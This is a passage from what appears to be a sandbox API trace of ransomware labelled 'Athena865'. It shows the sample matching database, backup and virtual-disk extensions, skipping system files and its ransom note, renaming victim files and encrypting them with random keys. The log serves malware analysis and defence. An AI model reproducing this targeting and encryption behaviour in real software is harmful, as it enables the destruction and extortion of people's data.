lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0055.977] lstrlenW (lpString="ade") returned 3 [0055.977] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1 [0055.977] lstrlenW (lpString="adf") returned 3 [0055.977] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1 [0055.977] lstrlenW (lpString="adn") returned 3 [0055.977] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1 [0055.977] lstrlenW (lpString="adp") returned 3 [0055.977] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1 [0055.977] lstrlenW (lpString="alf") returned 3 [0055.977] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1 [0055.978] lstrlenW (lpString="ask") returned 3 [0055.978] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1 [0055.978] lstrlenW (lpString="btr") returned 3 [0055.978] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1 [0055.978] lstrlenW (lpString="cat") returned 3 [0055.978] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1 [0055.978] lstrlenW (lpString="cdb") returned 3 [0055.978] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1 [0055.978] lstrlenW (lpString="ckp") returned 3 [0055.978] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1 [0055.978] lstrlenW (lpString="cma") returned 3 [0055.978] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1 [0055.978] lstrlenW (lpString="cpd") returned 3 [0055.978] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1 [0055.978] lstrlenW (lpString="dacpac") returned 6 [0055.978] lstrcmpiW (lpString1="LR.cab", lpString2="dacpac") returned 1 [0055.978] lstrlenW (lpString="dad") returned 3 [0055.978] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1 [0055.978] lstrlenW (lpString="dadiagrams") returned 10 [0055.978] lstrlenW (lpString="daschema") returned 8 [0055.978] lstrcmpiW (lpString1="rdLR.cab", lpString2="daschema") returned 1 [0055.978] lstrlenW (lpString="db-journal") returned 10 [0055.978] lstrlenW (lpString="db-shm") returned 6 [0055.978] lstrcmpiW (lpString1="LR.cab", lpString2="db-shm") returned 1 [0055.978] lstrlenW (lpString="db-wal") returned 6 [0055.978] lstrcmpiW (lpString1="LR.cab", lpString2="db-wal") returned 1 [0055.978] lstrlenW (lpString="dbc") returned 3 [0055.978] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1 [0055.978] lstrlenW (lpString="dbs") returned 3 [0055.978] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1 [0055.978] lstrlenW (lpString="dbt") returned 3 [0055.978] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1 [0055.978] lstrlenW (lpString="dbv") returned 3 [0055.979] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1 [0055.979] lstrlenW (lpString="dbx") returned 3 [0055.979] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1 [0055.979] lstrlenW (lpString="dcb") returned 3 [0055.979] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1 [0055.979] lstrlenW (lpString="dct") returned 3 [0055.979] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1 [0055.979] lstrlenW (lpString="dcx") returned 3 [0055.979] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1 [0055.979] lstrlenW (lpString="ddl") returned 3 [0055.979] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1 [0055.979] lstrlenW (lpString="dlis") returned 4 [0055.979] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1 [0055.979] lstrlenW (lpString="dp1") returned 3 [0055.979] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1 [0055.979] lstrlenW (lpString="dqy") returned 3 [0055.979] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1 [0055.979] lstrlenW (lpString="dsk") returned 3 [0055.979] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1 [0055.979] lstrlenW (lpString="dsn") returned 3 [0055.979] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1 [0055.979] lstrlenW (lpString="dtsx") returned 4 [0055.979] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1 [0055.979] lstrlenW (lpString="dxl") returned 3 [0055.979] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1 [0055.979] lstrlenW (lpString="eco") returned 3 [0055.979] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1 [0055.979] lstrlenW (lpString="ecx") returned 3 [0055.979] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1 [0055.979] lstrlenW (lpString="edb") returned 3 [0055.979] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1 [0055.979] lstrlenW (lpString="epim") returned 4 [0055.980] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1 [0055.980] lstrlenW (lpString="fcd") returned 3 [0055.980] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1 [0055.980] lstrlenW (lpString="fdb") returned 3 [0055.980] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1 [0055.980] lstrlenW (lpString="fic") returned 3 [0055.980] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1 [0055.980] lstrlenW (lpString="flexolibrary") returned 12 [0055.980] lstrlenW (lpString="fm5") returned 3 [0055.980] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1 [0055.980] lstrlenW (lpString="fmp") returned 3 [0055.980] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1 [0055.980] lstrlenW (lpString="fmp12") returned 5 [0055.980] lstrcmpiW (lpString1="R.cab", lpString2="fmp12") returned 1 [0055.980] lstrlenW (lpString="fmpsl") returned 5 [0055.980] lstrcmpiW (lpString1="R.cab", lpString2="fmpsl") returned 1 [0055.980] lstrlenW (lpString="fol") returned 3 [0055.980] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1 [0055.980] lstrlenW (lpString="fp3") returned 3 [0055.980] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1 [0055.980] lstrlenW (lpString="fp4") returned 3 [0055.980] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1 [0055.980] lstrlenW (lpString="fp5") returned 3 [0055.980] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1 [0055.980] lstrlenW (lpString="fp7") returned 3 [0055.980] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1 [0055.980] lstrlenW (lpString="fpt") returned 3 [0055.980] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1 [0055.980] lstrlenW (lpString="frm") returned 3 [0055.980] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1 [0055.980] lstrlenW (lpString="gdb") returned 3 [0055.980] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0055.980] lstrlenW (lpString="gdb") returned 3 [0055.981] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0055.981] lstrlenW (lpString="grdb") returned 4 [0055.981] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1 [0055.981] lstrlenW (lpString="gwi") returned 3 [0055.981] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1 [0055.981] lstrlenW (lpString="hdb") returned 3 [0055.981] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1 [0055.981] lstrlenW (lpString="his") returned 3 [0055.981] lstrcmpiW (lpString1="cab", lpString2="his") returned -1 [0055.981] lstrlenW (lpString="ib") returned 2 [0055.981] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1 [0055.981] lstrlenW (lpString="idb") returned 3 [0055.981] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1 [0055.981] lstrlenW (lpString="ihx") returned 3 [0055.981] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1 [0055.981] lstrlenW (lpString="itdb") returned 4 [0055.981] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1 [0055.981] lstrlenW (lpString="itw") returned 3 [0055.981] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1 [0055.981] lstrlenW (lpString="jet") returned 3 [0055.981] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1 [0055.981] lstrlenW (lpString="jtx") returned 3 [0055.981] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1 [0055.981] lstrlenW (lpString="kdb") returned 3 [0055.981] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1 [0055.981] lstrlenW (lpString="kexi") returned 4 [0055.981] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1 [0055.981] lstrlenW (lpString="kexic") returned 5 [0055.981] lstrcmpiW (lpString1="R.cab", lpString2="kexic") returned 1 [0055.981] lstrlenW (lpString="kexis") returned 5 [0055.981] lstrcmpiW (lpString1="R.cab", lpString2="kexis") returned 1 [0055.981] lstrlenW (lpString="lgc") returned 3 [0055.981] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1 [0055.981] lstrlenW (lpString="lwx") returned 3 [0055.981] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1 [0055.981] lstrlenW (lpString="maf") returned 3 [0055.982] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1 [0055.982] lstrlenW (lpString="maq") returned 3 [0055.982] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1 [0055.982] lstrlenW (lpString="mar") returned 3 [0055.982] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1 [0055.982] lstrlenW (lpString="marshal") returned 7 [0055.982] lstrcmpiW (lpString1="dLR.cab", lpString2="marshal") returned -1 [0055.982] lstrlenW (lpString="mas") returned 3 [0055.982] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1 [0055.982] lstrlenW (lpString="mav") returned 3 [0055.982] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1 [0055.982] lstrlenW (lpString="maw") returned 3 [0055.982] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1 [0055.982] lstrlenW (lpString="mdbhtml") returned 7 [0055.982] lstrcmpiW (lpString1="dLR.cab", lpString2="mdbhtml") returned -1 [0055.982] lstrlenW (lpString="mdn") returned 3 [0055.982] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1 [0055.982] lstrlenW (lpString="mdt") returned 3 [0055.982] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1 [0055.982] lstrlenW (lpString="mfd") returned 3 [0055.982] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1 [0055.982] lstrlenW (lpString="mpd") returned 3 [0055.982] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1 [0055.982] lstrlenW (lpString="mrg") returned 3 [0055.982] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1 [0055.982] lstrlenW (lpString="mud") returned 3 [0055.982] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1 [0055.982] lstrlenW (lpString="mwb") returned 3 [0055.982] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1 [0055.982] lstrlenW (lpString="myd") returned 3 [0055.982] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1 [0055.982] lstrlenW (lpString="ndf") returned 3 [0055.982] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1 [0055.982] lstrlenW (lpString="nnt") returned 3 [0055.983] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1 [0055.983] lstrlenW (lpString="nrmlib") returned 6 [0055.983] lstrcmpiW (lpString1="LR.cab", lpString2="nrmlib") returned -1 [0055.983] lstrlenW (lpString="ns2") returned 3 [0055.983] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1 [0055.983] lstrlenW (lpString="ns3") returned 3 [0055.983] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1 [0055.983] lstrlenW (lpString="ns4") returned 3 [0055.983] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1 [0055.983] lstrlenW (lpString="nsf") returned 3 [0055.983] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1 [0055.983] lstrlenW (lpString="nv") returned 2 [0055.983] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1 [0055.983] lstrlenW (lpString="nv2") returned 3 [0055.983] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1 [0055.983] lstrlenW (lpString="nwdb") returned 4 [0055.983] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1 [0055.983] lstrlenW (lpString="nyf") returned 3 [0055.983] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1 [0055.983] lstrlenW (lpString="odb") returned 3 [0055.983] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0055.983] lstrlenW (lpString="odb") returned 3 [0055.983] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0055.983] lstrlenW (lpString="oqy") returned 3 [0055.983] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1 [0055.983] lstrlenW (lpString="ora") returned 3 [0055.983] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1 [0055.983] lstrlenW (lpString="orx") returned 3 [0055.983] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1 [0055.983] lstrlenW (lpString="owc") returned 3 [0055.983] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1 [0055.983] lstrlenW (lpString="p96") returned 3 [0055.983] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1 [0055.984] lstrlenW (lpString="p97") returned 3 [0055.984] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1 [0055.984] lstrlenW (lpString="pan") returned 3 [0055.984] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1 [0055.984] lstrlenW (lpString="pdb") returned 3 [0055.984] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1 [0055.984] lstrlenW (lpString="pdm") returned 3 [0055.984] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1 [0055.984] lstrlenW (lpString="pnz") returned 3 [0055.984] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1 [0055.984] lstrlenW (lpString="qry") returned 3 [0055.984] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1 [0055.984] lstrlenW (lpString="qvd") returned 3 [0055.984] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1 [0055.984] lstrlenW (lpString="rbf") returned 3 [0055.984] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1 [0055.984] lstrlenW (lpString="rctd") returned 4 [0055.984] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1 [0055.984] lstrlenW (lpString="rod") returned 3 [0055.984] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1 [0055.984] lstrlenW (lpString="rodx") returned 4 [0055.984] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1 [0055.984] lstrlenW (lpString="rpd") returned 3 [0055.984] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1 [0055.984] lstrlenW (lpString="rsd") returned 3 [0055.984] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1 [0055.984] lstrlenW (lpString="sas7bdat") returned 8 [0055.984] lstrcmpiW (lpString1="rdLR.cab", lpString2="sas7bdat") returned -1 [0055.984] lstrlenW (lpString="sbf") returned 3 [0055.984] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1 [0055.984] lstrlenW (lpString="scx") returned 3 [0055.984] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1 [0055.985] lstrlenW (lpString="sdb") returned 3 [0055.985] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1 [0055.985] lstrlenW (lpString="sdc") returned 3 [0055.985] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1 [0055.985] lstrlenW (lpString="sdf") returned 3 [0055.985] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1 [0055.985] lstrlenW (lpString="sis") returned 3 [0055.985] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1 [0055.985] lstrlenW (lpString="spq") returned 3 [0055.985] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1 [0055.985] lstrlenW (lpString="te") returned 2 [0055.985] lstrcmpiW (lpString1="ab", lpString2="te") returned -1 [0055.985] lstrlenW (lpString="teacher") returned 7 [0055.985] lstrcmpiW (lpString1="dLR.cab", lpString2="teacher") returned -1 [0055.985] lstrlenW (lpString="tmd") returned 3 [0055.985] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1 [0055.985] lstrlenW (lpString="tps") returned 3 [0055.985] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1 [0055.985] lstrlenW (lpString="trc") returned 3 [0055.985] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0055.985] lstrlenW (lpString="trc") returned 3 [0055.985] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0055.985] lstrlenW (lpString="trm") returned 3 [0055.985] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1 [0055.985] lstrlenW (lpString="udb") returned 3 [0055.985] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1 [0055.985] lstrlenW (lpString="udl") returned 3 [0055.985] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1 [0055.985] lstrlenW (lpString="usr") returned 3 [0055.985] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1 [0055.985] lstrlenW (lpString="v12") returned 3 [0055.985] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1 [0055.985] lstrlenW (lpString="vis") returned 3 [0055.985] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1 [0055.986] lstrlenW (lpString="vpd") returned 3 [0055.986] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1 [0055.986] lstrlenW (lpString="vvv") returned 3 [0055.986] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1 [0055.986] lstrlenW (lpString="wdb") returned 3 [0055.986] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1 [0055.986] lstrlenW (lpString="wmdb") returned 4 [0055.986] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1 [0055.986] lstrlenW (lpString="wrk") returned 3 [0055.986] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1 [0055.986] lstrlenW (lpString="xdb") returned 3 [0055.986] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1 [0055.986] lstrlenW (lpString="xld") returned 3 [0055.986] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1 [0055.986] lstrlenW (lpString="xmlff") returned 5 [0055.986] lstrcmpiW (lpString1="R.cab", lpString2="xmlff") returned -1 [0055.986] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.Athena865") returned 83 [0055.986] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.athena865"), dwFlags=0x1) returned 1 [0055.987] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0055.987] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=43806141) returned 1 [0055.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0055.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0055.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0055.987] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0055.988] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0055.988] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0055.988] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x29c70c0, lpName=0x0) returned 0x154 [0055.992] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x2800000, dwNumberOfBytesToMap=0x1c70c0) returned 0x2d50000 [0056.067] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0056.136] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0056.153] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0056.154] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0056.154] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0056.154] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0056.154] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0056.154] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0056.154] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0056.154] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0056.154] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0056.154] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0056.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0056.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0056.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0056.155] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0056.170] CloseHandle (hObject=0x154) returned 1 [0056.170] CloseHandle (hObject=0x17c) returned 1 [0056.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0056.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0056.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0056.180] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0056.180] lstrcmpiW (lpString1="WordMUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0056.180] lstrcmpiW (lpString1="WordMUI.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0056.180] lstrcmpiW (lpString1="WordMUI.msi", lpString2=".") returned 1 [0056.180] lstrcmpiW (lpString1="WordMUI.msi", lpString2="..") returned 1 [0056.180] lstrcmpiW (lpString1="WordMUI.msi", lpString2="windows") returned 1 [0056.180] lstrcmpiW (lpString1="WordMUI.msi", lpString2="bootmgr") returned 1 [0056.180] lstrcmpiW (lpString1="WordMUI.msi", lpString2="temp") returned 1 [0056.181] lstrcmpiW (lpString1="WordMUI.msi", lpString2="pagefile.sys") returned 1 [0056.181] lstrcmpiW (lpString1="WordMUI.msi", lpString2="boot") returned 1 [0056.181] lstrcmpiW (lpString1="WordMUI.msi", lpString2="ids.txt") returned 1 [0056.181] lstrcmpiW (lpString1="WordMUI.msi", lpString2="ntuser.dat") returned 1 [0056.181] lstrcmpiW (lpString1="WordMUI.msi", lpString2="perflogs") returned 1 [0056.181] lstrcmpiW (lpString1="WordMUI.msi", lpString2="MSBuild") returned 1 [0056.181] lstrlenW (lpString="WordMUI.msi") returned 11 [0056.181] lstrcpyW (in: lpString1=0x241e8c6, lpString2="WordMUI.msi" | out: lpString1="WordMUI.msi") returned="WordMUI.msi" [0056.181] lstrlenW (lpString="WordMUI.msi") returned 11 [0056.181] lstrlenW (lpString="Athena865") returned 9 [0056.181] lstrcmpiW (lpString1="rdMUI.msi", lpString2="Athena865") returned 1 [0056.181] lstrlenW (lpString=".dll") returned 4 [0056.181] lstrcmpiW (lpString1="WordMUI.msi", lpString2=".dll") returned 1 [0056.181] lstrlenW (lpString=".lnk") returned 4 [0056.181] lstrcmpiW (lpString1="WordMUI.msi", lpString2=".lnk") returned 1 [0056.181] lstrlenW (lpString=".ini") returned 4 [0056.181] lstrcmpiW (lpString1="WordMUI.msi", lpString2=".ini") returned 1 [0056.181] lstrlenW (lpString=".sys") returned 4 [0056.181] lstrcmpiW (lpString1="WordMUI.msi", lpString2=".sys") returned 1 [0056.181] lstrlenW (lpString="WordMUI.msi") returned 11 [0056.181] lstrlenW (lpString="bak") returned 3 [0056.181] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0056.181] lstrlenW (lpString="ba_") returned 3 [0056.181] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0056.181] lstrlenW (lpString="dbb") returned 3 [0056.181] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0056.181] lstrlenW (lpString="vmdk") returned 4 [0056.181] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0056.181] lstrlenW (lpString="rar") returned 3 [0056.181] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0056.181] lstrlenW (lpString="zip") returned 3 [0056.181] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0056.181] lstrlenW (lpString="tgz") returned 3 [0056.181] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0056.181] lstrlenW (lpString="vbox") returned 4 [0056.182] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0056.182] lstrlenW (lpString="vdi") returned 3 [0056.182] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0056.182] lstrlenW (lpString="vhd") returned 3 [0056.182] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0056.182] lstrlenW (lpString="vhdx") returned 4 [0056.182] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0056.182] lstrlenW (lpString="avhd") returned 4 [0056.182] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0056.182] lstrlenW (lpString="db") returned 2 [0056.182] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0056.182] lstrlenW (lpString="db2") returned 3 [0056.182] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0056.182] lstrlenW (lpString="db3") returned 3 [0056.182] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0056.182] lstrlenW (lpString="dbf") returned 3 [0056.182] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0056.182] lstrlenW (lpString="mdf") returned 3 [0056.182] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0056.182] lstrlenW (lpString="mdb") returned 3 [0056.182] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0056.182] lstrlenW (lpString="sql") returned 3 [0056.182] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0056.182] lstrlenW (lpString="sqlite") returned 6 [0056.182] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1 [0056.182] lstrlenW (lpString="sqlite3") returned 7 [0056.182] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1 [0056.182] lstrlenW (lpString="sqlitedb") returned 8 [0056.182] lstrcmpiW (lpString1="dMUI.msi", lpString2="sqlitedb") returned -1 [0056.182] lstrlenW (lpString="xml") returned 3 [0056.182] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0056.182] lstrlenW (lpString="$er") returned 3 [0056.182] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0056.182] lstrlenW (lpString="4dd") returned 3 [0056.183] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0056.183] lstrlenW (lpString="4dl") returned 3 [0056.183] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0056.183] lstrlenW (lpString="^^^") returned 3 [0056.183] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0056.183] lstrlenW (lpString="abs") returned 3 [0056.183] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0056.183] lstrlenW (lpString="abx") returned 3 [0056.183] lstrcmpiW 